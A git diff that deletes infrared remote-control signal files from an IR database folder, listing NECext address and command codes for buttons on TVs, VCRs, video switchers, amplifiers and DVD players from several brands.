a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/TV/164,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/TV/164,-1.ir deleted file mode 100644 index e4c98612a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/TV/164,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: JUMP -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 3B 00 00 00 -# -name: WIDE_MODE -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 3D 00 00 00 -# -name: WIDE_ZOOM -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 42 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/TV/26,26.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/TV/26,26.ir deleted file mode 100644 index f3f5bcf8f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/TV/26,26.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 1A 1A 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1A 1A 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A 1A 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A 1A 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A 1A 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1A 1A 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1A 1A 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1A 1A 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1A 1A 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1A 1A 00 00 -command: 0F 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 1A 1A 00 00 -command: 10 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 1A 1A 00 00 -command: 11 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/TV/84,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/TV/84,-1.ir deleted file mode 100644 index 12c98c4c4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/TV/84,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 33 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 34 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 35 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 54 00 00 00 -command: 36 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/VCR/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/VCR/2,-1.ir deleted file mode 100644 index 19da0a89d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/VCR/2,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CH_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: CH_DN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 11 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 16 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 18 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 19 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1A 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1B 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1C 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1D 00 00 00 -# -name: AUTO_TRACKING -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 27 00 00 00 -# -name: ANT_VCR -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2D 00 00 00 -# -name: PWR_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2E 00 00 00 -# -name: PWR_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2F 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 31 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3E 00 00 00 -# -name: CURSER_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 42 00 00 00 -# -name: CURSER_DN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 43 00 00 00 -# -name: TRACKING -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 45 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 46 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 51 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir deleted file mode 100644 index 36ba04282..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: chplus -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 01 00 00 00 -# -name: chmin -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 02 00 00 00 -# -name: volplus -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 03 00 00 00 -# -name: volmin -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 04 00 00 00 -# -name: mute -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 09 00 00 00 -# -name: sleep -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0C 00 00 00 -# -name: tvav -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0D 00 00 00 -# -name: power -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0E 00 00 00 -# -name: call -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 19 00 00 00 -# -name: 1- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1A 00 00 00 -# -name: 2- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1B 00 00 00 -# -name: 3- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1C 00 00 00 -# -name: 4- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1D 00 00 00 -# -name: funct -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 58 00 00 00 -# -name: functplus -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 59 00 00 00 -# -name: functmin -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 5A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cables to Go/VGA Switcher/0,191.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cables to Go/VGA Switcher/0,191.ir deleted file mode 100644 index 690574883..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cables to Go/VGA Switcher/0,191.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: IN_1 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0A 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0A 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0C 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 0E 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 1F 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir deleted file mode 100644 index 3cb313583..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: IN_1_TO_TV_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: IN_2_TO_TV_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: IN_3_TO_TV_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: IN_2_TO_TV_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: IN_1_TO_TV_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: IN_4_TO_TV_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: IN_3_TO_TV_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: IN_4_TO_TV_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calypso/Amplifier/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calypso/Amplifier/17,-1.ir deleted file mode 100644 index 6f1b1f7f0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calypso/Amplifier/17,-1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SWITCH_INPUT_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: SWITCH_INPUT_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: SWITCH_INPUT_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: SWITCH_INPUT_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: VOL_UP_(2DB) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 12 00 00 00 -# -name: VOL_DN_(2DB) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 13 00 00 00 -# -name: NEXT_CHANNEL -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: TOGGLE_MUTE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: VOL_DN_(4DB) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: VOL_UP_(4DB) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calypso/Control System/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calypso/Control System/1,-1.ir deleted file mode 100644 index 874069a55..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calypso/Control System/1,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CT_065 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: CT_066 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: CT_067 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: CT_068 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: CT_069 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: CT_070 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: CT_071 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: CT_072 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: CT_073 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: CT_064 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: CT_074 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: CT_055 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: CT_053 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: CT_054 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: CT_049 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: CT_050 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: CT_051 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: CT_048 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: CT_079 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: CT_075 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 24 00 00 00 -# -name: CT_080 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: CT_076 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2A 00 00 00 -# -name: CT_093 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2F 00 00 00 -# -name: CT_060 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 33 00 00 00 -# -name: CT_059 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 34 00 00 00 -# -name: CT_057 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: CT_052 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3B 00 00 00 -# -name: CT_082 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 40 00 00 00 -# -name: CT_083 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 41 00 00 00 -# -name: CT_085 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 42 00 00 00 -# -name: CT_094 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 47 00 00 00 -# -name: CT_095 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 48 00 00 00 -# -name: CT_096 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 49 00 00 00 -# -name: CT_086 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 58 00 00 00 -# -name: CT_087 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 59 00 00 00 -# -name: CT_091 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5A 00 00 00 -# -name: CT_089 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5B 00 00 00 -# -name: CT_088 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5C 00 00 00 -# -name: CT_092 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5E 00 00 00 -# -name: CT_090 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5F 00 00 00 -# -name: CT_056 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 60 00 00 00 -# -name: CT_058 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 63 00 00 00 -# -name: CT_063 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 65 00 00 00 -# -name: CT_084 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 6B 00 00 00 -# -name: CT_061 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 74 00 00 00 -# -name: CT_062 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 75 00 00 00 -# -name: CT_077 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 78 00 00 00 -# -name: CT_078 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 79 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calypso/Control System/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calypso/Control System/17,-1.ir deleted file mode 100644 index 3568f9f45..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calypso/Control System/17,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CT_018 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: CT_019 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: CT_020 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: CT_021 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: CT_022 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: CT_023 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: CT_024 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: CT_025 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: CT_026 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: CT_029 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0D 00 00 00 -# -name: CT_011 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: CT_002 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 12 00 00 00 -# -name: CT_003 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 13 00 00 00 -# -name: CT_001 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 15 00 00 00 -# -name: CT_004 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1C 00 00 00 -# -name: CT_033 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1D 00 00 00 -# -name: CT_010 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: CT_017 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: CT_027 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: CT_038 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: CT_028 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: CT_037 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: CT_032 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: CT_005 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: CT_008 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: CT_009 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: CT_034 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 35 00 00 00 -# -name: CT_081 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 36 00 00 00 -# -name: CT_006 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: CT_007 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: CT_042 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3D 00 00 00 -# -name: CT_041 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3E 00 00 00 -# -name: CT_040 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 -# -name: CT_043 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 40 00 00 00 -# -name: CT_044 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 41 00 00 00 -# -name: CT_045 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 42 00 00 00 -# -name: CT_046 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 43 00 00 00 -# -name: CT_047 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 44 00 00 00 -# -name: CT_035 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4A 00 00 00 -# -name: CT_031 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4B 00 00 00 -# -name: CT_030 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4C 00 00 00 -# -name: CT_039 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5F 00 00 00 -# -name: CT_036 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 6F 00 00 00 -# -name: CT_014 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 79 00 00 00 -# -name: CT_015 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 7A 00 00 00 -# -name: CT_012 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 7B 00 00 00 -# -name: CT_013 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 7C 00 00 00 -# -name: CT_016 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 7D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calypso/Control System/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calypso/Control System/7,-1.ir deleted file mode 100644 index bdb442095..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calypso/Control System/7,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CT_106 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: CT_107 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: CT_108 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 02 00 00 00 -# -name: CT_109 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 03 00 00 00 -# -name: CT_110 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 04 00 00 00 -# -name: CT_111 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 05 00 00 00 -# -name: CT_112 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 06 00 00 00 -# -name: CT_113 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 07 00 00 00 -# -name: CT_114 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: CT_105 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: CT_115 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: CT_100 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: CT_101 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: CT_099 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: CT_116 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 16 00 00 00 -# -name: CT_124 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1D 00 00 00 -# -name: CT_097 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 26 00 00 00 -# -name: CT_098 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 29 00 00 00 -# -name: CT_121 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: CT_125 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 30 00 00 00 -# -name: CT_120 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 31 00 00 00 -# -name: CT_126 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 46 00 00 00 -# -name: CT_102 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 4D 00 00 00 -# -name: CT_117 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 4F 00 00 00 -# -name: CT_122 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 50 00 00 00 -# -name: CT_123 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 58 00 00 00 -# -name: CT_103 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 5A 00 00 00 -# -name: CT_104 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 63 00 00 00 -# -name: CT_118 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 64 00 00 00 -# -name: CT_119 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 65 00 00 00 -# -name: CT_127 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 68 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/DVD Player/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/DVD Player/12,-1.ir deleted file mode 100644 index 7f03ddef2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/DVD Player/12,-1.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 01 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 02 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 03 00 00 00 -# -name: SUB -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 04 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 05 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 06 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 07 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 08 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 09 00 00 00 -# -name: DISC_TITLE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0A 00 00 00 -# -name: DISC_MENU -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0C 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0D 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 10 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 11 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 12 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 13 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 14 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 15 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 16 00 00 00 -# -name: SKIP_LEFT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 17 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 18 00 00 00 -# -name: SKIP_RIGHT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 19 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 1A 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 1B 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 1C 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 1D 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 1E 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 1F 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 20 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 